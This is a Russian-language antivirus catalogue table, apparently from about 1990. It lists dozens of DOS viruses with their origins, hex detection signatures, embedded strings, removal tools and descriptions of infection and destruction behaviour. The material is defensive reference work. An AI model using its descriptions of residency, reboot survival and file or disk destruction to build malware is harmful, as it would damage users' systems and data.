ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_# 1554, _RCE-1554 _ _1_ _D _Ack Bv Cy Itp-tp Li Mc Se Zht _США: февраль 1990. _
_* 1559, _ _ _ _ _DP_1000 < LenC 1024 < LenE _Длина заражаемого файла увеличивается на _
_ Ten bytes _ _ _ _ _DR_t _1554-1559 байт. Вирус активируется в период _
(10 байт), _ _ _ _ _M _26 89 1E 92 00 FB C3 50 53 51 52 06 _с сентября по декабрь любого года. В этот _
9800:0000 virus,_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_период в любом записываемом файле будут от- _
V-alert _ _ _ _ _ _ _сутствовать первые 10 байт, а в конец файла _
_ _ _ _ _ _ _будут дописаны 10 байтов мусора. Портит _
_ _ _ _ _ _ _как программы, так и данные. _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*$ Alabama _RE-1560 _!!!_1_ _D _Ac Cn Li _Израиль(Иерусалим):октябрь 1989,Ysrael Radai_
_ (Алабама) _ _ _ _ _M _8F 06 18 05 26 8F 06 1A _Записывает свое тело в память по адресу на _
_ _ _ _ _C _E800005E81EE2901B968058EC5BB _30K меньше, чем размер памяти, сообщаемый MS_
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_DOS (перед транзитной частью COMMAND.COM) _
_ _ _ _ _ _ _Перехватывает прерывание от клавиатуры(09h),_
_ _ _ _ _ _ _отcлеживая CTRL-ALT-DEL и оставаясь в памяти_
_ _ _ _ _ _ _при мягкой презагрузке (!!!). _
_ _ _ _ _ _ _Через час после инсталляции выдает сообщение_
_ _ _ _ _ _ _SOFTWARE COPIES PROHIBITED BY INTERNATIONAL _
_ _ _ _ _ _ _LAW Box 1055 Tuscambia ALABAMA USA. _
_ _ _ _ _ _ _При запуске файла на выполнение заражает _
_ _ _ _ _ _ _первый подходящий файл в текущем каталоге, а_
_ _ _ _ _ _ _если такового не окажется, то заражается _
_ _ _ _ _ _ _исполняемый файл. По пятницам вместо зараже-_
_ _ _ _ _ _ _ния вирус тасует имена заражаемого и _
_ _ _ _ _ _ _исполняемого файлов т.е. после этого вместо _
_ _ _ _ _ _ _вызванной программы начинает выполняться _
_ _ _ _ _ _ _другая, с которой произошел обмен имен _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*# MIX1/Icelandic_RE-1618 _Ice_2_ _D _ Cn Itp _Исландия: март 1989, Израиль: август 1989 _
(Смесь1/Ислан- _ -1615 ? _ _ _ _DP_ 8K < LenE _При резидентном вирусе NumLock всегда вклю- _
ский) _ -1635 ? _ _ _ _M _43 81 3F 45 58 75 F1 B8 00 43 _чен, а байт 0:33С содержит 77h. _
$ MIXER 1 _ _ _ _ _C _0E1FB95206FCF3A406B8880050CB2EC6 _Заменяет символы в информации, передаваемой _
_ _ _ _ _T _MIX1 /* последние 4 байта */ _через последовательный или паралельный порт _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_(A вместо T, [ вместо ] и т.д.) В _
_ _ _ _ _ _ _конце инфицированной программы имеется _
_ _ _ _ _ _ _строка MIX1. Вирус уменьшает количество па- _
_ _ _ _ _ _ _мяти, сообщаемой DOS на 2K. После инфициро- _
_ _ _ _ _ _ _вания 6 файлов последующая перезагрузка _
_ _ _ _ _ _ _приводит к зависанию системы из-за ошибки в _
_ _ _ _ _ _ _коде вируса и мячик начинает двигаться по _
_ _ _ _ _ _ _экрану _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# JoJo _ RC-1701j _ _ _ _D _Aa Itc Se Rw _Израиль: май 1990 _
_ _ _ _ _ _M _4D 2B D0 4A 45 03 E8 45 8E C5 _Хотя данный вирус имеет длину 1701 _
_ _ _ _ _ _T1_Welcome to the JOJO Virus. _он не связан с группой Cascade. При выполне-_
_ _ _ _ _ _T2_Fuck the system (c) - 1990 _нии зараженного данным вирусом файла вирус _
_ _ _ _ _ _ _ _инсталлируется в оперативной памяти, при- _
_ _ _ _ _ _ _ _соединяясь к резидентной части COMMAND.COM. _
_ _ _ _ _ _ _При этом для MS DOS 3.3 ееразмер возрастает _
_ _ _ _ _ _ _с 3536 до 5504 байт. Один блок размером 48 _
_ _ _ _ _ _ _байт резервируется обычным образом. Общее _
_ _ _ _ _ _ _уменьшение оперативной памяти составляет _
_ _ _ _ _ _ _2048 байт. Вирус не инфицирует другие файлы,_
_ _ _ _ _ _ _если прерывание 13 уже перехвачено. Вместо _
_ _ _ _ _ _ _этого он очищает экран и подвешивает систе- _
_ _ _ _ _ _ _му. Вирус выживает при теплой перезагруз- _
_ _ _ _ _ _ _ке и успевает перехватить 13 прерывание. _
_ _ _ _ _ _ _ Как только вирусу удается перехватить 13_
_ _ _ _ _ _ _прерывание он начинает заражать каждый вы- _
_ _ _ _ _ _ _полняемый файл. _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# V1701New _RC-1701n _P1 _1_<_D _Co Itc Km Macl Smeo _Болгария: июль 1990 _
_ P1 _ _ _ _ _DR_h 8192 _Самая совершенный штамм группы P1. _
_ _ _ _ _ _HR_2A _При заражении COMMAND.COM не меняет длину _
_ _ _ _ _ _ _ _программы. При попытке выполнения CHKDSK на _
_ _ _ _ _ _ _ _зараженной машине выполняется теплая переза-_
_ _ _ _ _ _ _ _грузка системы, хотя вирус не выживает при _
_ _ _ _ _ _ _перезагрузке. В отличие от RC-1704p заража-_
_ _ _ _ _ _ _ет файлы и при открытии. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Slow _ RCE-1701 _Ier_1_ _D _Cn So To _Австралия: май 1990 _
_ _ _ _ _ _DR_2K _Штамм иерусалимского вируса. _
_ _ _ _ _ _M _81 C6 1B 00 B9 90 06 2E 80 34 _При заражении EXE-файлов возможны зависание _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
* Cascade-B _RC-1704b _Cas_1_ _D _An Bav Cy Dn Es Itc Jx K1 Li Mc Se Zar _Штамм вируса RС-1701, размножающийся только _
(Каскад-В) _ _ _ _ _DP_10 < LenC < 63800 _на клонах IBM PC _
_ _ _ _ _I _FA8BECE800005B81EB31012EF6872A0101 _ _
_ _ _ _ _+ _740F8DB74D01BC850631343124464C75F8 _ _
_ _ _ _ _F _CLEAR v66+ (СП 7-90) _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
* 1704-C, _RC-1704f _Cas_1_ _D _Af Cy Mc _январь 1989. _
* 1704-Format _ _ _ _ _I _ F6872A0101740F8DB74D01BC8506313 _Штамм RC-1701 с изменным проявлением. _
(1704-Формат) _ _ _ _ _+ _ 43124464C77F8 _Активируется с октября по декабрь года кроме_
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_ме 1993. Форматирует диск. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Phoenix _RC-1704p _P1 _ _ _D _Co Itc Km Mac Se _Болгария: июль 1990 _
_ (Феникс) _ _ _ _ _DP_ _При заражении COMMAND.COM не меняет длину _
_ P1 _ _ _ _ _HR_2A _программы. При попытке выполнения CHKDSK на _
_ _ _ _ _ _DR_h8192 _зараженной машине выполняется теплая переза-_
_ _ _ _ _ _M _01 36 6E 03 36 6E 8B D8 6E 03 36 6E 33 36 _грузка системы, хотя вирус не выживает при _
_ _ _ _ _ _ +_6E 22 39 6E F8 36 6E 31 36 6E 22 _перезагрузке. Вирус содержит ряд ошибок. _
_ _ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# PhoenixD _RC-1704d _P1 _ _ _D _Co Itc Km Mac Seo _Болгария: июль 1990 _
_ (Феникс) _ _ _ _ _DP_ _Исправленная версия _
_ P1 _ _ _ _ _HR_2A _При заражении COMMAND.COM не меняет длину _
_ _ _ _ _ _DR_h8192 _программы. При попытке выполнения CHKDSK на _
_ _ _ _ _ _M _01 36 6E 03 36 6E 8B D8 6E 03 36 6E 33 36 _зараженной машине выполняется теплая переза-_
_ _ _ _ _ _ +_6E 22 39 6E F8 36 6E 31 36 6E 22 _грузка системы, хотя вирус не выживает при _
_ _ _ _ _ _ _ _перезагрузке. В отличие от RC-1704p заража-_
_ _ _ _ _ _ _ _ет файлы и при открытии. _
_ _ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*#$ 1720, _RCE-1720 _Ier_ _ _D _Adk Cy K11 _Испания, 1990 _
Spanish II, _ _ _ _ _DR_t _При инсталляции вирус находит и заражает _
PSRQ Virus _ _ _ _ _M1_ 2E A1 2C 00 A3 FC 03 2E A0 _один исполняемый файл, а затем становится _
_ _ _ _ _M2_D8 2E A1 2C 00 A3 FC 03 2E A0 _резидентным и заражает любой исполняемый _
_ _ _ _ _C _0FFFCD213D0101743B06B8F135CD218C _файл. При заражении в некоторых EXE-файлах _
_ _ _ _ _T _=PSQR /* в конце файла */ _уничтожается последние 30 байтов В конце _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_зараженного файла имеется сигнатура =PSQR._
_ _ _ _ _ _ _В пятницу, приходящуюся на 13 число удаляет _
_ _ _ _ _ _ _запускаемые файлы, а при наличии винчестера _
_ _ _ _ _ _ _разрушает бутсектор и таблицу разделов _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Frere Jacques _RCE-1813f _Ier_1_ _ _Cn Ihc-tp Ra2064 Se To _ США(Калифорния): май 1990 _
_ ( )_ _ _ _ _ _ _Штамм иерусалимского вируса. При заражении _
_ Frere Virus _ _ _ _ _ _ _COM-файлы увеличиваются на 1813, а EXE-файлы_
_ _ _ _ _ _ _ _на 1808-1819 байт _
_ _ _ _ _ _ _ _По пятницам проигрывает мелодию _
_ _ _ _ _ _ _ _Frere Jacques _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Payday _RCE-1813p _Ier_1_ _ _см. RCE-1813a _Нидерланды: ноябрь 1989,Jan Terpstra _
_ (день зарплаты) _ _ _ _ _ _ _Штамм иерусалимского вируса, в котором дата _
_ _ _ _ _ _ _ _удаления файлов изменена на обратную: файлы _
_ _ _ _ _ _ _ _удаляются в любую пятницу, кроме приходящий-_
_ _ _ _ _ _ _ _ся на 13 число. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*#$ dBASE virus _RC-1864 _ _1_ _D _Ac Cn Li _США(Нью-Йорк), март 1989, Ross Greenberg. _
(Дибэйс) _ _ _ _ _M _80 FC 6C 74 EA 80 FC 5B 74 E5 _Меняет местами первые два байта каждого бло-_
_ _ _ _ _C _50B80AFBCD213DFB0A7402EB8A56E800 _ка при записи .DBF-файлов. При этом ведет _
_ _ _ _ _ _ _таблицу искажений в виде файла на диске. При_
_ _ _ _ _ _ _чтении файла на другой (незараженной) ЭВМ _
_ _ _ _ _ _ _внесенные изменения проявляются. Уничтожение_
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_вируса также приводит к этому эффекту _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*# DatacrimeIIb _ CE-1917 _Dcr_1_<_D _Afk Bt Cn Li _См. CE-1514 _
(ДейтакраймIIb),_ _ _ _ _DP_Name(7) != 'D' _Не заражает файлы с именами _
Columbus Day _ _ _ _ _M _2E 8A 07 32 C2 D0 CA 2E _содержащими седьмую букву D(лат), _
(День Колумба),_ _ _ _ _T _ (* сообщения перекодированы и в дампе _например, COMMAND.COM _
October 13 _ _ _ _ _ _ не видны *) _ _
(13 октября) _ _ _ _ _H _7F751114011416071C1810751C1C7503 _ _
_ _ _ _ _+ _1C070006757F5F58 _ _
_ _ _ _ _C _2E 8A 07 32 C2 D0 CA 2E _ _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_* 1971, _RCE-1971 _ _1_ _D _Cy Itp Se To Xm _ФРГ: апрель 1990,Fridrik Skulason(Исландия) _
_# Eight Tunes, _ _ _ _ _DP_8K < LenC _Через 30 минут после того, как вирус стал _
$ The 8 Tunes _ _ _ _ _M _33 D2 B8 00 42 CD 21 72 26 81 7C _резидентным начинает играть одну из восьми _
(8 мелодий) _ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_народных немецких мелодий. Затем через _
_ _ _ _ _ _ _некоторый (случайный) интервал играет другую_
_ _ _ _ _ _ _меловию и т.д. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Solano 2000, _ RC-2000 _Sol_1_ _D _Abv Se _США (Солано, штат Калифорния): март 1990, _
_ Dyslexia 2.01 _ _ _ _ _M _12 75 0E 2E 8B 0E 03 01 _Edward Winters _
_ _ _ _ _ _DR_3K _После заражения выполнение некоторых програм_
_ _ _ _ _ _T _(((((((((((((((((((((((((((((((((((((( _блокируется из-за ошибок в вирусе. Заражен- _
_ _ _ _ _ _ _ _ная DISKCOPY при запуске выдает сообщение _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_ invalid drive specification _
_ _ _ _ _ _ _Байты 1168-1952 зараженного файла содержат _
_ _ _ _ _ _ _символ '(' (28h) _
_ _ _ _ _ _ _Возможно вирус случайным образом переставля-_
_ _ _ _ _ _ _ет числовые последовательности в видеопамяти_
_ _ _ _ _ _ _монитора или меняет атрибуты цвета символов _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*$ Halloechen _RCE-2011 _ _2_<_D _Itp-tp Se _Западная Германия: октябрь 1989, _
_ Virus _ _ _ _ _M1_8C D0 8B D4 BC 02 00 36 8B 0E _Christoff Fischer _
_ _ _ _ _M2_C8 E3 9F DD 9F CA 8D 6D 6E 77 _Заражаются файлы, имеющие год и месяц созда-_
_ _ _ _ _ +_8C D0 8B D4 BC 02 00 36 8B 0E _ния не совадающие с текущим месяцом и годом._
_ _ _ _ _ _ _При запуске зараженных файлов портится _
_ _ _ _ _ _ _содержимое буфера клавиатуры _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Wolfman _RCE-2064 _ _ _ _D _ Cy _ _
_ _ _ _ _ _M _FB 58 44 75 04 E9 7B 01 EA CC _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
2086, _RCE-2086 _Ier_2_ _D _Cy Ihc-tp Mt Tosb _март 1988 _
*# Fu Manchu _ _ _ _ _M1_72 45 4D 48 4F 72 _При каждом 16-м заражении перехватывается _
(Фу Манчу), _ _ _ _ _M2_26 C7 06 FC 03 F3 A4 26 C6 06 _таймер и через случайный промежуток времени _
$ FU-Manchu A, _ _ _ _ _C _E1CD2180FCE1731680FC047211B4DDBF _на экран выдается сообщение (в теле хранится
2080 _ _ _ _ _I _8ED0BC200950B8230250CBFC062E8C062C0 _в перекодированном виде): _
_ _ _ _ _ _02E8C0634002E8C0638002E8C063C008CC0 _ The World will hear from me again !!! _
_ _ _ _ _T _sAXrEMHOr _и инициируется теплая презагрузка _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_(по некоторым сведениям сообщение выдается _
_ _ _ _ _ _ _при теплой презагрузке(CTRL-ALT-DEL) _
_ _ _ _ _ _ _После 1 августа 1989 года вирус отслеживает _
_ _ _ _ _ _ _содержимое буфера клавиатуры и добавляет _
_ _ _ _ _ _ _издевательские комментарии к именам некото- _
_ _ _ _ _ _ _вых западных политиков. Поскольку коммента- _
_ _ _ _ _ _ _рии добавляются в буфер клавиатуры они могут_
_ _ _ _ _ _ _попасть в редактируемый текст. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# V2100, _RCE-2100 _DAv_1_<_D _Cy Seo To _Болгария: июль 1990 _
_ Uscan Virus _ _!!!_ _ _DR_u 4K _Более поздний штамм RCE-2000. Распространял-_
_ _ _ _ _ _DP_2100 < LenCE _ся с помощью троянской версии антивирусной _
_ _ _ _ _ _M _1F 75 14 8B 41 1A 8B 71 1C 2D _программы USCAN по некоторым европейским _
_ _ _ _ _ _ _ _электронным бюллетеням. При этом в самом _
_ _ _ _ _ _ _ _UCAN вирус был спрятан так, что не детек- _
_ _ _ _ _ _ _тировался контекстным поиском. Исполнение _
_ _ _ _ _ _ _вирусоносителя ведет к его инсталляции в _
_ _ _ _ _ _ _старшие адреса с уменьшением системной памя-_
_ _ _ _ _ _ _ти на 4K (по типу бутвируса). В системах _
_ _ _ _ _ _ _инфицированных вирусом отмечаются ошибки при_
_ _ _ _ _ _ _распрделении файлов и сращивание файлов _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Flip _RCEBP-2343_ _ _ _D _Cy Ml To _Западная Германия: июль 1990 _
_ _ _ _ _ _DR_u3062 _Заражает MBR и бутсектов винчестера. Инстал-_
_ _ _ _ _ _ _ _лируется по типу бутвируса _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*#$ Ghost Virus _ CP-2351 _Ven_1_ _D _Cy Ds62 Li _Исландия, сентябрь 1989, Fridric Skulason. _
(Привидение), _ _ _ _ _M1_90 EA 59 EC 00 F0 90 90 _При выполнении зараженной программы вирус _
2351 _ _ _ _ _M2_5E 81 C6 5A 04 B8 01 02 _ищет очередную жертву в текущем каталоге, _
* Ghost Versi- _ _ _ _ _C _04B44FCD217302EB9F8B847400241F3C _заражает ее, а затем заражает бутсектор _
on of DOS-62 _ _ _ _ _ _ _диска А бутовой троянской программой _
_ _ _ _ _ _ _аналогичной вирусу Bx1-1C (Ping-Pong), _
_ _ _ _ _ _ _лишенной способности к саморазмножению. _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_Уничтожает каждый 8-й заражаемый файл. _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Victor _ RCE-2458 _ ! _2_<_D _Cy Itp-tp Se To Zo _СССР ??: май 1990 _
_ (Виктор) _ _ _ _ _HR_21 _Заражает примерно одну из 10 запускаемых _
_ _ _ _ _ _DR_h 3072 _файлов. Приращение по данным П.Хофман варь- _
_ _ _ _ _ _M _74 26 80 FC 5B 74 21 80 FC 39 _ируется от 2443 до 2458 _
_ _ _ _ _ _C _BBF00FCD21890E860081F9C1FE75 _ _
_ _ _ _ _T1_Victor V1.0 The Incredible High _ _
_ _ _ _ _ +_ Performance Virus _ _
_ _ _ _ _T2_Enhanced versions available soon. _ _
_ _ _ _ _T3_This program was imported from USSR. _ _
_ _ _ _ _ _ _Thanks to Ivan. _ _
_ _ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_* Doom2 _RCE-2504 _ _ _ _D _Cn _ _
_ _ _ _ _ _M _B9 AF 04 BF 29 01 2E A0 0B 01 2E _ _
_ _ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_* Virus-101 _RCE-2560 _Ven_1_ _D _An Cy Dn K11 Li Mc _ США(Вашингтон), конец 1989 _
_ _ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_Более поздний штамм RС-857 _
_ _ _ _ _ _ _ _Деструктивные действия отсутствуют. _
_ _ _ _ _ _ _Использует кодировку инсталлятора для _
_ _ _ _ _ _ _того, чтобы избежать обнаружения простыми _
_ _ _ _ _ _ _детекторами, основанными на контекстном _
_ _ _ _ _ _ _поиске. Известен автор (Patrick Toulme). _
_ _ _ _ _ _ _Задуман как демоверсия - заражает файлы _
_ _ _ _ _ _ _только на дискетах. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*$ Oropax _RC-2756 _ _1_ _D _Bm Cy Itp51 _ФРГ (Гамбург): 02.89 _
_ (Оропакс), _ _ _ _ _M _3E 01 1D F2 77 D1 BA 00 _Польша: 1990. _
_ Music Virus _ _ _ _ _C _3E070100744CB42ACD2181F9C307720A _Приращение зараженного файла случайно и _
_ (музыкальный) _ _ _ _ _ _ _колеблется в диапазоне 2756-2807 байт. _
MUZYKANT _ _ _ _ _ _ _Обычно приращение равно 2773 байт Заражает _
_ _ _ _ _ _ _файлы при любой дисковой операции (при _
_ _ _ _ _ _ _обращении по функциям 13H, 16H, 17H, 39H, _
_ _ _ _ _ _ _3AH, 3CH, 3DH, 41H, 43H, 46H 21 прерывания _
_ _ _ _ _ _ _используемыми командами COPY,RD,MD,DEL,REN _
_ _ _ _ _F _MKS_VIR _MS DOS). Для заражения ищет COM-файл в _
_ _ _ _ _ _ _главном каталоге текущего диска и его _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_подкаталогах. На компьютерах типа PC AT _
_ _ _ _ _ _ _после 1.05.87 через 5 минут после _
_ _ _ _ _ _ _инфицирования файла вирус играет 3 разные _
_ _ _ _ _ _ _мелодии с 7 минутным интервалом между ними. _
_ _ _ _ _ _ _Длина зараженных файлов всегда кратна 51. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Liberty _RCE-2862 _ _1_ _D _Cy Itp Mc Se To _Австралия (Сидней): май 1989 _
_ _ _ _ _ _HR_21 _Проявления неизвестны _
_ _ _ _ _ _DP_2K < LenC; 0 < LenE _ _
_ _ _ _ _ _DR_h 8K _ _
_ _ _ _ _M _E8 FD FE 72 2A 3B C1 7C 27 E8 _ _
_ _ _ _ _T _Liberty _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Taiwan 3 _RCE-2900 _Ier_ _ _D _Se To _Тайвань: июнь 1990 _
_ _ _ _ _ _HR_21 _Возможны зависания системы. Другие проявле- _
_ _ _ _ _ _DR_L 3152 _ния неизвестны. _
_ _ _ _ _ _M _17 0F 32 0A 32 0A 90 0B FB 08 _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*$ 2930, _RCE-2930 _Ier_1_ _D _ Cn Li Se _Испания, октябрь 1989 _
_# Traceback II _ _ _ _ _M _14 8B 4D 16 8B C1 8A CD _Pанняя версия вируса RCE-3066 (Traceback) _
_ (Обратное _ _ _ _ _I _E82906E8E005B419CD218884E30 _Поведение и проявления практически полностью_
_ прослеживаниеII)_ _ _ _ _+ _0E8CE048A95E2000E1F7509 _совпадают. Код практически идентичен. _
_ Spanish virus _ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_ _
_ (Испанка) _ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_# Traceback II-B _RCE-2930b _Ier_1_ _D _Cy _Штамм заражающий COMMAND.COM. После начала _
_ _ _ _ _ _ _ _падения букв через некоторое время система _
_ _ _ _ _ _ _ _зависает _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
